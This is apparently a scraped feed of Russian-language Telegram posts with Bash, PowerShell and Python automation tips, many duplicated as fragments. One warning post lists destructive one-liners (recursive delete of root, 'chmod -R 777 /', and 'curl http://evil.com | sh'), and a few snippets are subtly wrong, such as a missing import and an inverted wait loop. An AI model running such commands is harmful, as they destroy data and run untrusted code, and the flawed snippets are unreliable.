Лень — двигатель прогресса: почему ленивые админы эффективнее
Знакомо?
Тратите часы на рутинные задачи, которые можно выполнить за минуты.
Философия ленивого админа:
✔ Инвестируй 2 часа в скрипт → сэкономишь 100 часов в будущем.
✔ Стандартизация = меньше ошибок (скрипт не устанет и не опечатается).
✔ Повторное использование — один скрипт может работать годами.
Пример:
Вместо ручного деплоя (30 мин) — скрипт на 10 строк, который делает всё за 2 минуты.
Какие задачи вы автоматизировали и сколько времени сэкономили?
🌐 @automate_today | #bash
Знакомо?
Тратите часы на рутинные задачи, которые можно выполнить за минуты.
Философия ленивого админа:
✔ Инвестируй 2 часа в скрипт → сэкономишь 100 часов в будущем.
✔ Стандартизация = меньше ошибок (скрипт не устанет и не опечатается).
✔ Повторное использование — один скрипт может работать годами.
Пример:
Вместо ручного деплоя (30 мин) — скрипт на 10 строк, который делает всё за 2 минуты.
#!/bin/bash
APP_NAME=${1:-myapp}
logger -t deploy "Запуск деплоя $APP_NAME"
if ! deploy_tool --app "$APP_NAME"; then
echo "Ошибка! Читайте логи: /var/log/deploy.log"
exit 1
fi
Какие задачи вы автоматизировали и сколько времени сэкономили?
🌐 @automate_today | #bash
💯4❤1🆒1
Ручной мониторинг — это каменный век?
Ручная проверка серверов и логов — как разжигать костёр вместо микроволновки. Если вы до сих пор:
- Вручную проверяете логи
- Отслеживаете доступность сервисов
- Реагируете на алерты через почту
…пора переходить на автоматизацию!
Почему скрипты?
✔️ Гибкость — кастомизация под любые нужды
✔️ Простота — запустил в
✔️ Самовосстановление — скрипт не только находит проблему, но и может её исправить
🌐 @automate_today
Ручная проверка серверов и логов — как разжигать костёр вместо микроволновки. Если вы до сих пор:
- Вручную проверяете логи
- Отслеживаете доступность сервисов
- Реагируете на алерты через почту
…пора переходить на автоматизацию!
Почему скрипты?
✔️ Гибкость — кастомизация под любые нужды
✔️ Простота — запустил в
cron и забыл ✔️ Самовосстановление — скрипт не только находит проблему, но и может её исправить
🌐 @automate_today
👍3
Интеграция с Telegram — 3 способа отправки алертов
Хотите получать уведомления в Telegram? Вот как это сделать:
Через
Через Python (
Готовый бот (напр.,
Бонус: Можно добавить кнопки для быстрых действий!
👉 Если интересна тема ботов - пишите в комментарии, будем делиться информацией!
🌐 @automate_today | #bash #python
Хотите получать уведомления в Telegram? Вот как это сделать:
Через
curl (Bash): curl -s -X POST "https://api.telegram.org/botTOKEN/sendMessage" \
-d "chat_id=ID&text=Сервер перегружен!"
Через Python (
requests):requests.post(f"https://api.telegram.org/botTOKEN/sendMessage",
json={"chat_id": "ID", "text": "Внимание: диск почти заполнен!"})
Готовый бот (напр.,
python-telegram-bot): from telegram import Bot
bot = Bot(token="TOKEN")
bot.send_message(chat_id="ID", text="Служба перезапущена!")
Бонус: Можно добавить кнопки для быстрых действий!
👉 Если интересна тема ботов - пишите в комментарии, будем делиться информацией!
🌐 @automate_today | #bash #python
👍2
Введение в auditd — ваш надёжный страж в Linux
Зачем нужен аудит в Linux?
Без мониторинга активности сервер — как дом с открытыми дверями.
- Кто использовал
- Какие команды выполнялись (
- Кто менял критичные файлы?
Пример угроз:
- Несанкционированный доступ к
- Подозрительные команды от рута.
- "Темная" активность перед падением сервера.
Решение:
Установка:
🌐 @automate_today | #bash
Зачем нужен аудит в Linux?
Без мониторинга активности сервер — как дом с открытыми дверями.
Auditd записывает каждое действие: - Кто использовал
sudo? - Какие команды выполнялись (
rm -rf, доступ к /etc/shadow)? - Кто менял критичные файлы?
Пример угроз:
- Несанкционированный доступ к
/etc/passwd. - Подозрительные команды от рута.
- "Темная" активность перед падением сервера.
Решение:
auditd + Python-скрипт для алертовУстановка:
sudo apt install auditd -y # Debian/Ubuntu
sudo systemctl enable --now auditd
🌐 @automate_today | #bash
👍2
Мониторим команды пользователей: кто что запускал?
Как логировать ВСЕ команды в bash?
1. Правило для auditd:
2. Пример лога:
3. Как искать подозрительное:
Важно:
- Это создаст много логов — настройте ротацию в
🌐 @automate_today | #bash
Как логировать ВСЕ команды в bash?
1. Правило для auditd:
-w /bin/bash -p x -k shell_commands
2. Пример лога:
type=EXECVE msg=... comm="bash" cmd="rm -rf /tmp/test"
3. Как искать подозрительное:
sudo ausearch -k shell_commands | grep "rm -rf"
Важно:
- Это создаст много логов — настройте ротацию в
/etc/audit/auditd.conf.🌐 @automate_today | #bash
👍5
pip freeze > requirements.txt — почему это ошибка новичка? Вы только что закончили проект, радостно делаете
pip freeze > requirements.txt и отправляете его в прод. А потом… всё ломается. Почему? Потому что pip freeze выводит все зависимости, включая косвенные, и их точные версии. Как надо:
# Используйте pip-tools для чистого requirements.txt
pip install pip-tools
pip-compile requirements.in # Создаёт requirements.txt только с нужными пакетами
- В
requirements.in вы указываете только основные зависимости (например, Django>=4.0). -
pip-compile добавляет транзитивные зависимости, но с разумными ограничениями версий. - В проде используйте
pip-sync, чтобы удалить лишние пакеты. Кто-нибудь использует
poetry или conda вместо pip? Какой ваш workflow для управления зависимостями? pip freeze — это как отправить в прод всю кухню, включая шеф-повара и его кота.🌐 @automate_today | #bash
👍3🔥3
Почему 90% API-клиентов написаны неправильно?
Ваш скрипт падает, когда API отвечает 429 или зависает. Происходит это из-за отсутствия обработки ошибок, а также из-за необходимости учитывать rate-limiting.
Решение:
-
-
-
Как вы обрабатываете API-ошибки? Используете ли circuit breakers (например, `pybreaker`)?
🌐 @automate_today | #python
Ваш скрипт падает, когда API отвечает 429 или зависает. Происходит это из-за отсутствия обработки ошибок, а также из-за необходимости учитывать rate-limiting.
Решение:
import requests
from tenacity import retry, stop_after_attempt, wait_exponential
@retry(
stop=stop_after_attempt(3),
wait=wait_exponential(multiplier=1, min=2, max=10),
retry=retry_if_exception_type(requests.exceptions.RequestException)
)
def fetch_data(url):
response = requests.get(url, timeout=5)
response.raise_for_status() # Проверяет 4xx/5xx
return response.json()
-
tenacity — библиотека для retry-логики. -
timeout обязателен, иначе запрос может висеть вечно. -
raise_for_status() бросает исключение при ошибках HTTP. Как вы обрабатываете API-ошибки? Используете ли circuit breakers (например, `pybreaker`)?
API без retry — это как дверь без ручки: стучать можно, но войти не получится.
🌐 @automate_today | #python
👍2
Почему
Вы пишете
Как правильно:
-
-
Кто-нибудь использует
🌐 @automate_today | #powershell
Write-Host — это мусор? Вы пишете
Write-Host "Hello, world!", а потом не можете перенаправить вывод в файл или передать в конвейер. Потому что Write-Host не возвращает данные, а просто печатает в консоль. Как правильно:
# Используйте Write-Output для передачи данных
Write-Output "Hello" | Out-File log.txt
# Или Start-Transcript для полного логирования
Start-Transcript -Path "session.log"
-
Write-Output отправляет объекты в конвейер. -
Start-Transcript записывает весь сеанс PowerShell. Кто-нибудь использует
Write-Verbose или Write-Debug? Поделитесь примерами! Write-Host — это как кричать в пустоту. А Write-Output — как оставить записку для будущего себя.🌐 @automate_today | #powershell
👍4
Как парсить JSON без боли?
Вы парсите JSON в PowerShell через
Решение:
-
-
Кто-нибудь использует System.Text.Json в PowerShell? Есть ли преимущества?
🌐 @automate_today | #powershell
Вы парсите JSON в PowerShell через
ConvertFrom-Json, но он медленный и неудобный для сложных структур. Решение:
# Если нужна скорость — используйте Newtonsoft.Json
Install-Package Newtonsoft.Json -Force
$json = '{"name": "DeepSeek", "version": "1.0"}'
[Newtonsoft.Json.Linq.JObject]::Parse($json).GetValue("name")
-
ConvertFrom-Json удобен, но медленный на больших файлах. -
Newtonsoft.Json (он же Json.NET) — быстрее и мощнее. Кто-нибудь использует System.Text.Json в PowerShell? Есть ли преимущества?
ConvertFrom-Json — это как разбирать JSON ножницами. ✂️ Newtonsoft.Json — как бензопилой. 🔥
🌐 @automate_today | #powershell
👍4
Почему `[ ]` — это устарело?
Вы пишете
Решение:
-
-
Кто-нибудь использует `case` вместо `if`? Покажите примеры!
🌐 @automate_today | #bash
Вы пишете
if [ $a -eq 1 ], но это медленно, небезопасно и не поддерживает современные фичи. Решение:
# Вместо [ ] используйте [[ ]] для строк и (( )) для чисел
if [[ "$str" == *"подстрока"* ]]; then
echo "Найдено!"
fi
if (( num > 10 )); then
echo "Число больше 10"
fi
-
[[ ]] безопаснее (не требует кавычек), быстрее и мощнее. -
(( )) — для арифметики. Кто-нибудь использует `case` вместо `if`? Покажите примеры!
`[ ]` — это как телефон с кнопками.
А `[[ ]]` — как смартфон. 📱
🌐 @automate_today | #bash
👍4❤1
Почему cron — это не всегда надежно?
Вы поставили задачу в
Альтернативы:
-
-
Кто-нибудь использует airflow или celery beat для сложного планирования?
🌐 @automate_today | #bash
Вы поставили задачу в
cron, но она не выполнилась, потому что сервер спал или время сбилось. Альтернативы:
# systemd.timer (для Linux)
[Unit]
Description=Run my script every day
[Timer]
OnCalendar=daily
Persistent=true
[Install]
WantedBy=timers.target
-
systemd.timer учитывает пропущенные запуски (Persistent=true). -
anacron — для ноутбуков (не требует 24/7 работы). Кто-нибудь использует airflow или celery beat для сложного планирования?
cron — это будильник, который не звонит, если вы спите. ⏰
🌐 @automate_today | #bash
👍4❤1
5 способов сломать продакшен Bash-скриптом (и как этого избежать)
🦾 Bash — мощный, но опасный инструмент. Одна опечатка — и ваш скрипт удалит логи вместо их ротации, положит сервер или отправит спам всей компании.
Примеры катастроф:
❓Как избежать:
-
- Всегда проверять переменные:
- Тестировать в песочнице (Docker, виртуалка).
А у вас были эпичные падения из-за Bash?
🌐 @automate_today | #bash
🦾 Bash — мощный, но опасный инструмент. Одна опечатка — и ваш скрипт удалит логи вместо их ротации, положит сервер или отправит спам всей компании.
Примеры катастроф:
rm -rf / ${SOME_VARIABLE}/ # Если $SOME_VARIABLE пуста, удалится корень
chmod -R 777 / # Все файлы доступны всем (включая злоумышленников)
curl http://evil.com | sh # Запуск непроверенного кода из интернета ❓Как избежать:
-
set -euo pipefail — прерывать скрипт при ошибках. - Всегда проверять переменные:
rm -rf "${DIR:?}/logs". - Тестировать в песочнице (Docker, виртуалка).
А у вас были эпичные падения из-за Bash?
🌐 @automate_today | #bash
👍4
Как переименовать 1000 файлов без циклов?
Циклы в Bash медленные. Если переименовываете кучу файлов — есть способ быстрее!
Решение:
-
- Нет риска "зацикливания" из-за ошибки в условиях.
Какие ещё хитрости для работы с файлами используете?
🌐 @automate_today | #bash
Циклы в Bash медленные. Если переименовываете кучу файлов — есть способ быстрее!
Решение:
# Переименовать все .txt в .md
rename 's/\.txt$/.md/' *.txt
# Или через mmv (если нет rename):
mmv "*.old" "#1.new"
-
rename и mmv работают за один вызов, а не тысячу. - Нет риска "зацикливания" из-за ошибки в условиях.
Какие ещё хитрости для работы с файлами используете?
Если ваш скрипт переименовывает файлы дольше, чем создание вселенной — что-то не так.
🌐 @automate_today | #bash
🔥5
Скрипт для автоматического бэкапа MySQL
✋ Ручные бэкапы — это как ходить по канату без страховки. Автоматизируем!
👩🔬 Решение:
🔧 Дополнения:
- Добавьте
- Используйте
Как вы организуете бэкапы? Храните на облаке или локально?
🌐 @automate_today | #bash
✋ Ручные бэкапы — это как ходить по канату без страховки. Автоматизируем!
👩🔬 Решение:
#!/bin/bash
BACKUP_DIR="/backups/mysql"
DATE=$(date +%Y%m%d)
mysqldump -u user -p"password" db_name | gzip > "$BACKUP_DIR/db_name_$DATE.sql.gz"
# Проверяем успешность и шлём алерт
if [ $? -eq 0 ]; then
echo "Backup OK" | sendmail admin@example.com
else
echo "Backup FAILED!" | sendmail admin@example.com
fi
🔧 Дополнения:
- Добавьте
find $BACKUP_DIR -type f -mtime +30 -delete для удаления старых бэкапов. - Используйте
cron для запуска по расписанию. Как вы организуете бэкапы? Храните на облаке или локально?
🌐 @automate_today | #bash
❤1👍1
Почему && лучше, чем ;?
🛠 Пример:
❓Где ещё полезно:
-
-
Какие ещё операторы в Bash вы часто используете?
🌐 @automate_today | #bash
command1; command2 выполнит обе команды, даже если первая упала. && — только если первая успешна. 🛠 Пример:
cd /nonexistent_dir && rm -rf * # Удаление не сработает (и это хорошо!)
❓Где ещё полезно:
-
make && make test — не запускать тесты, если сборка провалилась. -
git pull && npm install — не ставить зависимости, если обновление репы не удалось. Какие ещё операторы в Bash вы часто используете?
Использовать ; вместо && — это как прыгать с парашютом, не проверив, есть ли он за спиной.
🌐 @automate_today | #bash
Как ускорить PowerShell-скрипты в 5 раз?
PowerShell может тормозить, особенно в циклах. Но есть приёмы для ускорения!
🛠 Способ:
❓Почему:
- Конвейер (
-
А какие оптимизации PowerShell вы применяете?
🌐 @automate_today | #powershell
PowerShell может тормозить, особенно в циклах. Но есть приёмы для ускорения!
🛠 Способ:
# Медленно:
Get-Content bigfile.txt | ForEach-Object { $_ -replace "old", "new" }
# Быстро:
(Get-Content bigfile.txt) -replace "old", "new"
# Ещё быстрее (для гигантских файлов):
$reader = [System.IO.StreamReader]::new("bigfile.txt")
while ($line = $reader.ReadLine()) { $line -replace "old", "new" }
$reader.Close()
❓Почему:
- Конвейер (
|) добавляет накладные расходы. -
StreamReader читает файл построчно без загрузки в память целиком. А какие оптимизации PowerShell вы применяете?
🌐 @automate_today | #powershell
👍3
Почему Get-Content тормозит?
📖 Вы читаете лог-файл в 10 ГБ через
🛠 Решение:
❓Почему это лучше:
-
- Подходит для гигабайтных логов.
А как вы обрабатываете огромные файлы? Делитесь лайфхаками!
🌐 @automate_today | #powershell
📖 Вы читаете лог-файл в 10 ГБ через
Get-Content, а PowerShell зависает на час. В чём проблема? Get-Content загружает весь файл в память перед обработкой. Для больших файлов — это убийственно. 🛠 Решение:
# Медленно:
$lines = Get-Content "huge.log" # Тормозит и жрёт память
# Быстро (чтение построчно):
$reader = [System.IO.StreamReader]::new("huge.log")
while ($line = $reader.ReadLine()) {
# Обрабатываем $line здесь
}
$reader.Close()
❓Почему это лучше:
-
StreamReader читает файл потоково, без загрузки в память. - Подходит для гигабайтных логов.
А как вы обрабатываете огромные файлы? Делитесь лайфхаками!
Get-Content для больших файлов — как пытаться выпить океан через трубочку.
🌐 @automate_today | #powershell
👍3
Почему sleep(1) в скриптах — признак лени?
Вы добавили
Проблемы
- Точное время ожидания неизвестно (может быть 1 сек, а может и 10).
- Блокирует выполнение скрипта впустую.
Альтернативы:
❓Когда
- Только для демо-кода или тестов.
- Если альтернатив действительно нет (но это редкость).
Как вы организуете ожидание в скриптах?
🌐 @automate_today | #bash
Вы добавили
sleep 5 в скрипт, чтобы «подождать завершения процесса». Но мир знает лучшие способы! Проблемы
sleep: - Точное время ожидания неизвестно (может быть 1 сек, а может и 10).
- Блокирует выполнение скрипта впустую.
Альтернативы:
# Вместо sleep:
until ps aux | grep -q "[p]rocess_name"; do sleep 0.5; done # Ждём завершения
# Или в Python:
from watchdog.observers import Observer # Реагировать на изменения файлов
❓Когда
sleep допустим: - Только для демо-кода или тестов.
- Если альтернатив действительно нет (но это редкость).
Как вы организуете ожидание в скриптах?
🌐 @automate_today | #bash
👍6
Скрипт для автоматического удаления неиспользуемых импортов
В Python-проекте накопились
Решение:
❓Почему это важно:
- Чистый код = меньше багов.
- Меньше зависимостей = быстрее установка.
Какие инструменты для чистки кода используете вы?
🌐 @automate_today | #bash
В Python-проекте накопились
import os, sys, re, pandas, numpy, tensorflow, хотя используется только os. Пора навести порядок! Решение:
# Удаляем неиспользуемые импорты:
pip install autoflake
autoflake --remove-all-unused-imports -r --in-place ./
# Сортируем оставшиеся (опционально):
pip install isort
isort .
❓Почему это важно:
- Чистый код = меньше багов.
- Меньше зависимостей = быстрее установка.
Какие инструменты для чистки кода используете вы?
Неиспользуемые импорты — как носки, которые ты давно не носил, но всё ещё хранишь.
🌐 @automate_today | #bash
👍3
Как заставить PowerShell приносить тебе кофе? Ну почти…
🛠 PowerShell может автоматизировать что угодно — даже отправлять сообщения в Telegram или включать умный чайник.
Пример:
💡Идеи для автоматизации:
- Скрипт, который пишет вам, когда заканчивается CI/CD-пайплайн.
- Уведомление, если сервер падает.
Что бы вы автоматизировали в повседневной жизни?
🌐 @automate_today | #powershell
🛠 PowerShell может автоматизировать что угодно — даже отправлять сообщения в Telegram или включать умный чайник.
Пример:
# Отправляем уведомление (через Telegram Bot API):
$token = "YOUR_BOT_TOKEN"
$chat_id = "YOUR_CHAT_ID"
$message = "Кофе готов! 🚀"
Invoke-RestMethod -Uri "https://api.telegram.org/bot$token/sendMessage?chat_id=$chat_id&text=$message"
💡Идеи для автоматизации:
- Скрипт, который пишет вам, когда заканчивается CI/CD-пайплайн.
- Уведомление, если сервер падает.
Что бы вы автоматизировали в повседневной жизни?
🌐 @automate_today | #powershell
1👍2